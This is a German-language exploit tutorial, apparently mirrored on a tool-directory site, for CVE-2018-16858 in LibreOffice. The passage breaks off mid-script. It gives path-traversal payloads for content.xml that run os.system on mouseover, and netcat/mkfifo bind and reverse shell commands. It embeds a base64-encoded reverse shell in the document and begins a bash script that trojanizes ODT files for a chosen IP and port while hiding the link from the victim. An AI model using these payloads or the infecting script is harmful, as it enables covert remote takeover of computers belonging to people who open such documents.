Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
libreofficeExploit1 — CVE-2018-16858 Exploit-Implementierung | Kitploit
Tools/GitHubGitHub/4nimanegra/libreofficeexploit1
Exploit-FrameworksExploitationPenetrationstestsCommand and ControlLernen & BildungPayload-Entwicklung
GitHub4nimanegra/libreofficeexploit1

libreofficeExploit1

CVE-2018-16858 Exploit-Implementierung

Repository anzeigen
31vor 7 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Grundlagenhandbuch zur Erstellung eines Exploits

In diesem Beitrag wird gezeigt, wie man eine einfache Schwachstelle eines Programms ausnutzt, um eine Hintertür in dem System zu öffnen, das dieses Programm verwendet.

Der betreffende Fehler wird durch CVE-2018-16858 definiert und gehört zur Bürosoftware-Suite LibreOffice. Dieser Fehler ermöglicht es, in einer speziell erstellten Datei einen Verzeichnis-Pfadangriff durchzuführen, der die Ausführung von Python-Code erlaubt. Diese Ausführung wird durch die Aktion des Benutzers auf dem Dokument ausgelöst und erfolgt, ohne dass der Benutzer vor der Ausführung von Makros gewarnt wird.

Das vorliegende Dokument ist in fünf Teile gegliedert. Im ersten Teil wird der Fehler selbst erklärt, wie man ein OpenDocument entpackt, wie man seine Struktur ändert, um das gewünschte lokale Skript auszuführen, und wie man das Dokument wieder zusammensetzt, um es zu testen und auszuführen.

Im zweiten Teil werden wir sehen, wie man die lokale Ausführung nutzt, um beliebige Befehle auf dem System auszuführen, auf dem das Dokument geöffnet wird, und wir werden eine Hintertür erstellen, die die Ausführung von Remotebefehlen ermöglicht.

Im dritten Teil werden wir den Prozess automatisieren, um Dokumente zu erstellen, die Hintertüren mit direkter oder umgekehrter Kommunikation erzeugen, wobei die IP-Adresse und der Port festgelegt werden, mit denen die Verbindung hergestellt werden soll.

Der vierte Teil befasst sich mit der Integration des Fehlers in das Metasploit-System, sodass mit msfconsole Dokumente erstellt werden können, die mit der Exploit-Methode von Metasploit kompatibel sind. Dadurch kann man als auszuführenden Code jedes in der Metasploit-Suite definierte Payload wählen.

Der fünfte und letzte Teil zeigt, wie man in ein Antiviren-System einen Erkennungsprozess integriert, der infizierte LibreOffice-Dateien identifizieren kann, die mit dem obigen Verfahren erstellt wurden. Dabei wird das Erkennungsformat des Antivirenprogramms ClamAV verwendet, um den Erkennungsprozess von Antivirenprogrammen besser zu verstehen und so unseren Schutz vor solchen Bedrohungen zu erleichtern.

Der gesamte Prozess wird für Linux-Systeme auf Debian-Basis durchgeführt, aber das hier Beschriebene kann auf andere Systeme übertragen werden, da es ausführlich beschrieben wird. Sowohl der Fehler als auch die Proof-of-Concept-Dateien des ursprünglichen CVE wurden für die Windows-Version von LibreOffice erstellt, daher kann man bei Bedarf auf diese Quelle zurückgreifen, um das in diesem Dokument Beschriebene analog für Windows-Versionen zu verwenden.

Beschreibung des Fehlers

LibreOffice (und aus genetischen Gründen auch Apache OpenOffice) hat in Versionen vor der neuesten Version (6.1.5) einen Fehler, der die Ausführung von Python-Code an beliebiger Stelle auf dem Computer ermöglicht, ohne dass der Benutzer vor der Ausführung eines Makros gewarnt wird.

Um den Fehler zu sehen, können wir ein neues Dokument im Texteditor erstellen, etwas schreiben, es auswählen und einen Hyperlink erzeugen. Um einen Hyperlink im Text zu erstellen, muss man das Menü Einfügen und darin die Option Hyperlink wählen (auch möglich durch Auswahl des Textes und anschließende Tastenkombination Strg+K).

Es erscheint folgender Dialog:

Um einen Hyperlink zu definieren, müssen wir eine URL einfügen und auf Anwenden klicken. Neben der URL-Option im unteren Teil des Dialogfelds, wo man Weitere Einstellungen lesen kann, gibt es einen Button mit dem Symbol Abspielen, mit dem wir Ereignisse an bestimmte Aktionen binden können. Hier definieren wir, dass wir einen Python-Code als Aktion ausführen möchten.

Beim Klicken auf diesen Button öffnet sich ein neuer Dialog:

Dort können wir zwischen drei grundlegenden Ereignissen und dem gewünschten Skript wählen. Als Ereignis wählen wir Mouse Over Object und als Skript innerhalb der Skriptfamilie LibreOffice-Makros wählen wir Python-Beispiele. Innerhalb dieser Option gibt es nur ein voreingestelltes Skript namens TableSample, das wir auswählen.

Wenn wir dann mit der Maus über den Text fahren, den wir in einen Hyperlink umgewandelt haben, sehen wir, dass sich ein Fenster mit einem Dokument öffnet, das eine Tabelle enthält. Das bedeutet, dass wir das Ereignis des Mauszeigerüberfahrens mit dem Python-Skript verknüpft haben. Unser Ziel ist es, diese Aktion durch eine andere zu ersetzen, die wir wünschen.

Dazu speichern wir das erstellte Dokument und verlassen LibreOffice, um in der Konsole eine Reihe von Befehlen auszuführen.

OpenDocument verstehen

Das ODT-Dokumentformat ist nichts anderes als ein Zip-Archiv, das eine Reihe von Dateien enthält (das DOCX-Format von Microsoft Office ist sehr ähnlich). Daher entpacken wir die Datei zunächst mit einem Zip-Entpacker.

In unserem Fall verwenden wir das Kommandozeilen-Tool unzip, also führen wir einfach den folgenden Befehl aus:

root@kitploit:~
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt

Damit sehen wir die Dateien, die tatsächlich in einer OpenDocument-Datei enthalten sind. Die für uns relevantesten sind die Dateien mimetypes, content.xml und styles.xml.

Die Datei mimetype muss als erste in der Liste der Zip-Dateien erscheinen. Wenn wir die Dateien wieder verpacken, müssen wir daher mit unserem Packer erzwingen, dass dies geschieht, sonst wird die Datei nicht als OpenDocument erkannt.

Die Datei content.xml enthält den Text des Dokuments, den wir geschrieben haben, wobei der Text mit bestimmten Tags vermischt ist, die das Format des Textes angeben.

Zum Beispiel in der folgenden Zeile:

root@kitploit:~
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>

Hier sieht man ein Beispiel für einen Textabsatz, der mit einem bestimmten Stil geschrieben wurde, der durch das Attribut text:style-name definiert wird. Der Textabsatz befindet sich zwischen dem öffnenden Tag text:p und dem schließenden Tag </text:p>.

Das mit dem Hyperlink verknüpfte Skript kann ebenfalls recht einfach eingesehen werden. Wenn wir im Text der content.xml nach dem Wort python oder dem Namen des geladenen Python-Skripts suchen, in unserem Fall TableSample.py, können wir die Zeile leicht finden, in der wir den Inhalt ändern müssen:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>

In dieser Zeile befindet sich der Pfad des Python-Skripts, das geladen wird, wenn wir die Maus über den Hyperlink bewegen, genannt TableSample.py, und die Funktion, die aus dem Python-Code ausgeführt wird, in diesem Fall createTable.

Das inhärente Problem von LibreOffice ist, dass beim Lesen der Dokumente der Wert des zu ladenden Python-Codes nicht korrekt bereinigt wird. Das Programm bereinigt die Zeichen ../ aus dem Dateipfad nicht, sodass auf jede Datei im System zugegriffen werden kann, in dem das Textdokument geöffnet wird. Wenn diese Datei zudem eine Python-Code-Datei ist, können wir jede darin definierte Funktion ausführen.

Erster Test einer einfachen Befehlsausführung

Als ersten Proof of Concept lassen wir beim Überfahren des Hyperlinks den Rechner ausführen, in unserem Fall das Programm galculator, das den Taschenrechner öffnet. Wir müssen ein Python-Programm erstellen, das einen Befehl innerhalb einer Funktion ausführt, so wie LibreOffice es erwartet. Dazu erstellen wir den folgenden Code im Pfad /tmp/prueba.py:

root@kitploit:~
import os;

def ejecuta():
	os.system("galculator");

Mit diesem kleinen Code erreichen wir unser Ziel. Nun müssen wir sowohl die Python-Datei /tmp/prueba.py als auch den Funktionsnamen ejecuta in den Aufruf in der ODT-Datei einfügen. Die Zeile, die den Python-Aufruf enthielt, würde dann wie folgt aussehen:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&amp;location=share" xlink:type="simple"/>

Wie man sieht, haben wir eine große Anzahl von ../ hinzugefügt, um sicherzustellen, dass wir bis zur Wurzel unseres Dateisystems aufsteigen. Und von dort aus fügen wir den konkreten Pfad zu unserer Python-Datei (prueba.py) hinzu. Nach dem $ haben wir das Wort ejecuta hinzugefügt, die Funktion, die den Taschenrechner lädt.

Danach verpacken wir unsere ODT-Datei erneut und achten darauf, die mimetype-Datei als erste Datei zu setzen. Wenn wir das Dienstprogramm zip verwenden, führen wir einfach den folgenden Befehl im Verzeichnis aus, in dem wir unsere ODT entpackt haben und das die bösartige content.xml enthält:

root@kitploit:~
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .

Danach öffnen wir die Datei mit LibreOffice und beobachten, dass das Taschenrechnerprogramm ausgeführt wird, wenn wir die Maus über den Hyperlink bewegen.

Dieser erste Schritt erfordert einen Python-Code, der mit einer Funktion erstellt wurde, die wir ohne Parameter ausführen können. Es ist einfach zu implementieren, aber es kann schwierig sein, es in einer glaubwürdigen oder reproduzierbaren Umgebung für ein echtes Pentesting zu verwenden.

Seit Version 6.1 von LibreOffice ist es möglich, beim Aufruf von Python-Funktionen Parameter zu übergeben. Dies ermöglicht denjenigen, die die legitime Nutzung der Makros dieses Programms wünschen, mehr Freiheit beim Scripting, bietet aber auch eine goldene Gelegenheit für diejenigen, die die Ecken der Software ausnutzen möchten.

Wie bereits erwähnt und tatsächlich verwendet, erfolgt ein Systemaufruf zur Ausführung eines beliebigen Befehls durch Aufruf der Klasse os und der Funktion system. Diese haben wir verwendet, um den Taschenrechner mit dem Parameter galculator aufzurufen. Das Gute an Python-Klassen ist, dass wir wissen können, in welchem Pfad sie sich befinden. Um von der Möglichkeit, Parameter an Funktionen zu übergeben, zu profitieren, suchen wir den Speicherort dieser Klasse. Zuvor haben wir eine Funktion eines Python-Programms ausgeführt, das sich in /tmp/ befand und das wir prueba.py nannten. Nun rufen wir direkt die Funktion system auf, die sich im Python-Programm os.py befindet, einer der Systembibliotheken.

Zum Beispiel finden wir es auf aktuellen Linux-Systemen normalerweise unter /usr/lib/python3.5/os.py. Daher ändern wir den vorherigen Pfad zum Code /tmp/prueba.py in diesen neuen Pfad. Die Funktion ejecuta ersetzen wir durch die Funktion system, und da wir Parameter an diese Funktion übergeben können, können wir nun das Programm galculator oder jedes andere, das wir wünschen, direkt ausführen, ohne auf dem Computer, auf dem das LibreOffice-Dokument geöffnet wird, eine Python-Datei erstellen zu müssen.

Wo wir zuvor diese Zeichenfolge in der content.xml hatten:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&amp;location=share" xlink:type="simple"/>

Haben wir jetzt einfach Folgendes:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&amp;location=share" xlink:type="simple"/>

Die Art und Weise, die Datei als LibreOffice-Dokument zu verpacken, ist genau dieselbe. Das Ergebnis ist nun, dass wir einfach die ODT-Datei öffnen, ohne dass wir an einem bestimmten Pfad ein Python-Programm ablegen müssen. Allerdings benötigen wir, dass die Version, in der das Dokument geöffnet wird, mindestens Version 6.1 von LibreOffice ist.

Sobald die Datei geöffnet wird und die Maus über den Link des Dokuments fährt, öffnet sich die Taschenrechneranwendung, genau wie im vorherigen Beispiel.

Erstellung einer Hintertür und Selbstausführung mittels Office-Dokument

Die Befehle, die beim Öffnen des Dokuments ausgeführt werden, werden auf dem lokalen Rechner ausgeführt. Eine mögliche Nutzung dieser Ausführung ist das Öffnen einer Hintertür, die es uns ermöglicht, Befehle von anderen Orten aus remote auszuführen.

Um eine sehr einfache Hintertür zu erstellen, verwenden wir den Befehl nc und erstellen ein FIFO, damit wir mit demselben Port Befehle an den Computer senden und das Ergebnis dieser Ausführung erhalten können. Beim ersten Zugang zu dem Fehler, den wir für die Befehlsausführung verwendeten, mussten wir ein Python-Programm erstellen. Die Idee ist, dass wir keinen zusätzlichen Code auf den zu exploitierenden Computer hochladen müssen, daher werden Systembefehle zur Generierung der Hintertür verwendet.

Der Befehl nc ist ein Systembefehl, der es ermöglicht, einen Port auf dem lokalen System zu öffnen oder eine Verbindung zu einem Port eines entfernten Systems herzustellen, sodass das, was über diese Verbindung empfangen wird, auf der Standardausgabe ausgegeben wird und das, was über die Standardeingabe eingegeben wird, über die Verbindung an den anderen Computer gesendet wird. Wir können Pipes | verwenden, um die Bildschirmausgabe eines laufenden Befehls an einen anderen Befehl zu übergeben. Wenn wir also den Befehl nc mit dem Befehl /bin/bash verketten, erhalten wir eine einfache Lösung für die Ausführung von Remotebefehlen. Wenn wir nc ip port | /bin/bash ausführen, wird das, was über die Verbindung ankommt, die der Befehl nc herstellt, an den Befehl /bin/bash übergeben, der eine Shell ausführt. Somit werden alle Befehle ausgeführt, die von dem Computer gesendet werden, mit dem wir verbunden sind. Allerdings wird die Standardausgabe dieser Befehle nicht an den Befehl nc zurückgegeben, sodass die Ausgabe nicht sichtbar ist. Man könnte die Standardausgabe des Befehls /bin/bash an einen neuen nc-Befehl umleiten, der einen anderen Port verwendet, aber dann benötigen wir zwei Ports, um das Senden von Befehlen und den Empfang von Befehlsausgaben zu ermöglichen, was etwas umständlich ist.

Eine einfache Lösung ist die Verwendung von FIFOs. Der Befehl mkfifo erstellt eine Datei, die gleichzeitig beschrieben und gelesen werden kann. Daher erstellen wir eine FIFO-Datei, die wir als Eingabe für den Befehl nc verwenden, sodass alles, was in diese Datei geschrieben wird, über die Verbindung gesendet wird. Sie wird auch als Ausgabe für den Befehl /bin/bash verwendet, sodass die Ausgabe aller mit diesem Befehl ausgeführten Aktionen in die FIFO-Datei geschrieben wird.

Die Befehlsfolge für einen Backdoor, der als Server auf einem beliebigen Linux-Terminal fungiert, ist wie folgt:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p port < /tmp/lalala | /bin/bash > /tmp/lalala;

Um von einem anderen Computer eine Verbindung zu diesem Rechner herzustellen, sollte Folgendes ausgeführt werden:

root@kitploit:~
user@host:~/$ nc IP-Adresse port

Wobei IP-Adresse die IP-Adresse des Rechners mit der Hintertür ist und port der gleiche Wert, den wir beim Ausführen des nc auf dem Rechner mit der Hintertür angegeben haben.

Wenn aufgrund von Firewalls im Netzwerk des Zielrechners die Verwendung des Rechners als Server nicht möglich ist, können wir es umgekehrt machen, sodass der Rechner mit der Hintertür eine Verbindung zu einem Server in unserem Besitz herstellt. Dazu führen wir zuerst auf unserem Rechner den folgenden Befehl aus:

root@kitploit:~
user@host:~/$ nc -l -p port

Und auf dem Rechner mit der Hintertür die folgende Befehlsfolge, die der vorherigen sehr ähnlich ist:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc IP-Adresse port < /tmp/lalala | /bin/bash > /tmp/lalala;

Die IP-Adresse, die in diesem letzten Befehl erscheinen muss, ist die unseres Rechners. Offensichtlich muss der entfernte Rechner in der Lage sein, diese IP-Adresse zu erreichen, um die Verbindung herzustellen, über die wir die auf dem entfernten System auszuführenden Befehle senden.

Daher kann auf dem Rechner mit der Hintertür, um den Befehl in einer Zeile zu setzen, entweder diese Zeile ausgeführt werden:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;nc -l -p port < /tmp/lalala | /bin/bash > /tmp/lalala;

oder diese Zeile:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;nc IP-Adresse port < /tmp/lalala | /bin/bash > /tmp/lalala;

Wenn wir dies verstanden haben und es uns gelingt, dass über die LibreOffice-Datei eine der Hintertüren ausgeführt wird, können wir die Fernsteuerung des Rechners übernehmen, der das Dokument geöffnet hat.

Natürlich, wenn wir die Python-Datei, die wir in tmp abgelegt haben, ändern und statt des Taschenrechners den Backdoor ausführen, haben wir die automatische Ausführung.

root@kitploit:~
import os;

def ejecuta():
	os.system("mkfifo /tmp/lalala;nc IP-Adresse port < /tmp/lalala | /bin/bash > /tmp/lalala;");

Nach dieser Linie der Backdoor-Erstellung könnte dies nun im Office-Dokument implementiert werden. Die Art und Weise, dies zu tun, ist relativ einfach, da wir einfach den Befehl des Linux-Taschenrechners durch den Befehl ersetzen müssen, der die Hintertür öffnet.

Der Backdoor, der anstelle des Taschenrechner-Befehls ausgeführt wird, ist der folgende:

root@kitploit:~
mkfifo /tmp/lalala; nc IP PORT < /tmp/lalala | /bin/bash > /tmp/lalala;

Es handelt sich um einen Reverse-Backdoor. Damit er funktioniert und eine Shell erhalten werden kann, muss auf dem Host mit der IP-Adresse IP und dem Port PORT ein Socket geöffnet werden. Diese Werte müssen durch die IP und den auf unserem Host geöffneten Port ersetzt werden.

Es gibt ein Problem mit diesem Befehl: LibreOffice erlaubt nicht die Verwendung einiger Sonderzeichen wie < oder |, daher müssen wir die Verwendung dieser Zeichen irgendwie umgehen, um unseren Exploit zu verwenden.

Wahrscheinlich ist die einfache Option, base64 zu verwenden. Base64 ist auf fast allen Linux-Rechnern standardmäßig installiert und ist ein Programm, mit dem wir sowohl codieren als auch decodieren können. Daher können wir das, was wir ausführen möchten, in Base64 codieren, in eine Datei umleiten, die dann decodiert und ausgeführt wird.

Wir werden eine Art der Umsetzung des Backdoors verwenden, die etwas grob sein mag, aber recht transparent und verständlich ist. Später kann man mit derselben Idee beliebig verkomplizieren, um alles kompakter zu machen. Da dieser Leitfaden zu Bildungszwecken erstellt wurde, werden wir grobe Ausführungsformeln mit sehr einfachen Befehlen und Ausführungen beibehalten.

Wenn wir in einem Terminal Folgendes ausführen, erhalten wir die Base64-Version des Payloads:

root@kitploit:~
echo "mkfifo /tmp/lalala; nc IP PUERTO < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64

Das Ergebnis wird in etwa Folgendem ähneln:

root@kitploit:~
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=

Jetzt haben wir keines der Zeichen mehr, die bei der Ausführung des Exploits Probleme bereiten könnten. Aber wenn wir dies in den system-Befehl einfügen, wird nichts ausgeführt. Tatsächlich können wir diesen Inhalt jedoch mit einem echo in eine Datei umleiten. Dadurch erhalten wir eine Datei, die, wenn wir sie decodieren, ausgeführt werden kann. Wir erstellen also eine Datei, die wir dann mit dem Befehl base64 decodieren, jedoch mit dem Parameter, der das Decodieren erlaubt, und leiten dies in eine andere Datei um. Diese wird dann die auszuführende sein. Wir zerlegen jeden Befehl zunächst, um zu erklären, was wir tun, und verwenden sie dann alle innerhalb des Aufrufs von system im Exploit:

Zuerst erstellen wir eine Base64-Datei auf dem Rechner, der das LibreOffice-Dokument öffnet, in seinem Verzeichnis /tmp/ mit dem Namen lalala.base64.

root@kitploit:~
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64Da diese codierte Datei uns nichts nützt, decodieren wir sie und leiten die Ausgabe in eine Datei um, die wir später im selben Verzeichnis ausführen wollen, und nennen sie **lalala.sh**.

base64 -d /tmp/lalala.base64 > /tmp/lalala.sh

Diese Datei hat keine Ausführungsberechtigungen, also müssen wir ihr diese Rechte geben.

root@kitploit:~
chmod 777 /tmp/lalala.sh

Dann führen wir die erstellte Bash-Datei aus.

root@kitploit:~
/tmp/lalala.sh

Schließlich löschen wir alle temporären Dateien, die auf dem Rechner erstellt wurden.

root@kitploit:~
rm /tmp/lalala.sh
rm /tmp/lalala.base64

Innerhalb des Aufrufs der Funktion system in unserem Exploit werden alle diese Befehle durch ; getrennt aufgerufen, sodass ein Befehl nach dem anderen ausgeführt wird. Der resultierende Befehl oder Payload, der in den system-Aufruf unserer contents.xml anstelle des Taschenrechners eingefügt werden muss, lautet wie folgt. Ursprünglich hatten wir den folgenden Inhalt, der die Ausführung des Taschenrechners ermöglichte:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&amp;location=share" xlink:type="simple"/>

Wir setzen stattdessen den folgenden Inhalt ein:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&amp;location=share" xlink:type="simple"/>

Wenn wir das LibreOffice-Dokument wieder verpacken, haben wir ein Dokument, das bei Mouseover unsere Hintertür ausführt.

Bevor das Dokument geöffnet wird, und wie bereits erwähnt, müssen wir vorher einen Port zum Lauschen bereithalten. Sobald sich die Hintertür mit unserem Host verbindet, können wir Befehle auf dem entfernten System ausführen, auf dem das LibreOffice-Dokument geöffnet wurde.

Automatisierung des Prozesses: Erstellen eines Programms, das es mir ermöglicht, Office-Dokumente zu infizieren

Im nächsten Schritt, und als Vorstufe zur Erstellung eines Metasploit-Moduls, muss der Prozess automatisiert und verallgemeinert werden. Dies hilft zu überprüfen, ob die vorzunehmenden Änderungen klar sind, um die Probleme zu modularisieren und konkret zu beschreiben, die gelöst werden müssen, um ein generisches Programm zu erstellen, das LibreOffice-Dokumente mit dem gewählten Payload infizieren kann. In diesem Abschnitt erstellen wir ein kleines Skript, das es ermöglicht, LibreOffice-Dateien mit einer Hintertür zu infizieren.

Das Skript benötigt drei Parameter: das Office-Dokument, die IP-Adresse, mit der sich der Computer verbinden soll, sobald das Office-Dokument geöffnet wird, sowie den Port, zu dem die Verbindung hergestellt werden soll. Nach der Ausführung des Skripts sollten wir ein LibreOffice-Dokument erhalten, in das die Hintertür eingebettet ist. Da wir die Zip-Datei entpacken müssen, muss das Verzeichnis, in dem unser Skript ausgeführt wird, sauber sein. Dies müssen wir innerhalb des Skripts überprüfen.

In der Absicht, dass die Sprache kein Problem darstellt, verwenden wir ein Bash-Skript, das möglicherweise etwas schmutzig ist, aber Aufrufe von GNU-Programmen ermöglicht, die die meiste Arbeit erledigen. Die gesamte Arbeit, die diese GNU-Programme automatisieren, muss dann entweder manuell programmiert oder mit Hilfe von Bibliotheken bei der Erstellung des Metasploit-Moduls umgesetzt werden.

Das Skript beginnt damit, dass es die Existenz der zu trojanisierenden Datei verlangt. Falls nicht vorhanden, teilen wir dem Benutzer mit, dass die Datei nicht existiert:

root@kitploit:~
if [ -e $1 ]; then

	#hier kommt der Programmcode.

else
	echo "The odt file does not exists!!";

fi;

Das if führt die darin enthaltene Aktion aus, wenn die Bedingung in den eckigen Klammern erfüllt ist. In Bash gibt die Bedingung -e wahr zurück, wenn eine Datei mit dem folgenden Namen existiert. Anstelle eines festen Namens wurde $1 verwendet, was in Bash dem ersten Parameter entspricht, den der Benutzer bei der Ausführung des Skripts eingegeben hat. In unserem Fall gibt der erste Parameter die .odt-Datei an, die trojanisiert werden soll.

Wir haben die Bedingung gestellt, dass das Verzeichnis, in dem der Befehl ausgeführt wird, leer ist. Dies dient lediglich dazu, die Arbeit einfacher zu machen. Daher müssen wir dies überprüfen, bevor wir mit dem ersten Abschnitt des Programms fortfahren. Diesmal lassen wir das Skript den Befehl ls -a ausführen und überprüfen, ob im Ausführungsverzeichnis nur zwei Dateien existieren: die entsprechenden Verzeichnisse . und ... Dies erreichen wir mit dem folgenden Codeabschnitt:

root@kitploit:~
I=0;

for fichero in `ls -a`; do

	I=$(($I+1));

done;

if [ $I -gt 2 ]; then

	echo "At least one file exists on the directory. Exiting.";

else


fi;

In diesem Codeabschnitt wird die Variable I mit dem Wert 0 initialisiert. Dann wird mit einer for-Schleife jedes Element der Ausgabe des Befehls ls -a durchlaufen. Bei jeder Iteration ändert die Variable fichero ihren Wert auf den Namen des jeweiligen Elements, in diesem Fall auf den Namen jeder Datei im Arbeitsverzeichnis. In Bash bewirkt das Setzen eines Befehls zwischen den speziellen Backticks `, dass der Befehl ausgeführt wird und wir seine Bildschirmausgabe verwenden können, entweder um sie in einer Variable zu speichern oder um sie in Schleifen wie in unserem Fall zu verwenden. Innerhalb der Schleife wird lediglich der Wert der Variablen I um 1 erhöht. In Bash-Skripten müssen Variablen, die rechts vom Gleichheitszeichen stehen und von denen ein Wert abgerufen werden soll, immer mit einem Dollarzeichen $ versehen werden. Da wir zudem eine mathematische Operation durchführen möchten, muss die Operation $I+1 in $(( und )) eingeschlossen werden, was dem Bash-Interpreter anzeigt, dass wir uns im Mathematikmodus befinden und Operationen mit dem Inhalt durchführen sollen.

Nach der Schleife sollte die Variable I den Wert 2 haben, wenn wir uns in einem leeren Verzeichnis befinden, oder mehr als 2, wenn sich Dateien im Verzeichnis befinden. Daher überprüfen wir mit einer Bedingung, ob die Variable größer als 2 ist, um das Programm zu stoppen und den Benutzer zu benachrichtigen. Wir verwenden wieder ein if, diesmal jedoch den Vergleich "größer als", der in Bash als -gt (für "greater than") geschrieben wird. Wie im Code-Ausschnitt zu sehen, wird der Benutzer bei einem Wert größer als 2 über den Fehler informiert; ansonsten wird die Ausführung der restlichen Anweisungen fortgesetzt.

Als letzte Überprüfung stellen wir sicher, dass der Benutzer drei Parameter eingegeben hat. Dies geschieht einfach durch die Prüfung, ob die Variable $3 leer ist. Diese Variable gibt an, dass das dritte Argument eingegeben wurde. Ist sie leer, bedeutet dies, dass der vom Benutzer ausgeführte Befehl nicht drei Eingabeargumente hatte. Wir vergleichen sie einfach mit dem leeren Zeichen, und falls sie leer ist, teilen wir dem Benutzer mit, dass er einen Fehler bei der Ausführung des Skripts gemacht hat. Der Code dafür ist wieder recht einfach:

root@kitploit:~
	if [ "" == "$3" ]; then

		echo "I need an IP and a port to connect to.";

	else

		#weiter mit dem Programm.

	fi;

Nach diesen Überprüfungen beginnen wir mit der Ausführung von Befehlen, die die Trojanisierung des Dokuments ermöglichen. Wir beginnen mit der Ausführung des Befehls unzip, um die LibreOffice-Datei zu entpacken. Bei Erfolg wird der Prozess fortgesetzt, ansonsten wird abgebrochen.

root@kitploit:~
		unzip $1;

		if [ $? != 0 ]; then

			echo "some error has occurr!!!Exiting!!";
			exit;

		fi;

Die erste Zeile dieses Abschnitts entpackt einfach die vom Benutzer angegebene Datei. In der Bedingung wird überprüft, ob die Ausführung des unzip-Befehls erfolgreich war, und zwar anhand des Rückgabecodes des Programms. Diesen Rückgabecode geben alle Programme zurück, die über die Konsole ausgeführt werden können, und standardmäßig zeigt jeder Wert ungleich 0 einen Fehler an. Der Fehlercode wird über die Variable $? abgerufen, die den Rückgabecode des zuletzt ausgeführten Befehls enthält.

In der Bedingung prüfen wir einfach, ob er 0 ist. Ist dies nicht der Fall, benachrichtigen wir den Benutzer mit einer Nachricht. Nach dieser Benachrichtigung führen wir ein exit aus, das die Skriptausführung an dieser Stelle stoppt, um zu verhindern, dass das Skript mit den folgenden Zeilen fortfährt.

Denken wir daran: Sobald die Datei entpackt ist, müssen zwei Änderungen am Inhalt der Zip-Datei vorgenommen werden: die Datei content.xml, in die der Trojaner selbst eingefügt wird, und die Datei styles.xml, in der das Format der Hyperlinks geändert wird, sodass der Benutzer, der die Datei öffnet, keinen Verdacht schöpft.

Der einzufügende Payload ist der im vorherigen Abschnitt erwähnte; er muss base64-codiert sein, daher speichern wir diese Nutzlast in einer Variable. Außerdem benennen wir die zu ändernden Dateien um, um sie lesen und in neuen Dateien mit dem ursprünglichen Namen modifizieren zu können. So sind die Dateien mit dem ursprünglichen Namen tatsächlich die modifizierten Dateien:

root@kitploit:~
		PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;

		mv content.xml content.xml.NEW;

		mv styles.xml styles.xml.NEW;

Der einzige Unterschied zum ursprünglichen Payload aus dem vorherigen Abschnitt besteht darin, dass anstelle der IP-Adresse und des Ports die vom Benutzer eingegebenen Argumente 2 und 3 verwendet werden. Wie zu sehen ist, wird eine ähnliche Operation wie mit dem for-Befehl durchgeführt, der zum Zählen der Dateien im Verzeichnis verwendet wurde, aber diesmal wird die Ausgabe des Befehls nicht in die Variable der for-Schleife, sondern in eine Variable namens PAYLOAD gespeichert. Wie zu sehen ist, werden die angegebenen Dateien mit dem Befehl mv umbenannt.

Um den Inhalt der Datei contents.xml (jetzt contents.xml.NEW genannt) zu ändern, kann der Befehl sed verwendet werden. Sed ist ein grundlegender Befehl der Unix-Befehlszeilensuite, der unter anderem die Ersetzung bestimmter regulärer Ausdrücke durch andere ermöglicht. Die Änderung, die in der Datei content.xml.NEW vorgenommen werden muss, besteht darin, nach allen Einträgen der Form zu suchen:

root@kitploit:~
<text:p text:style-name="Standard">

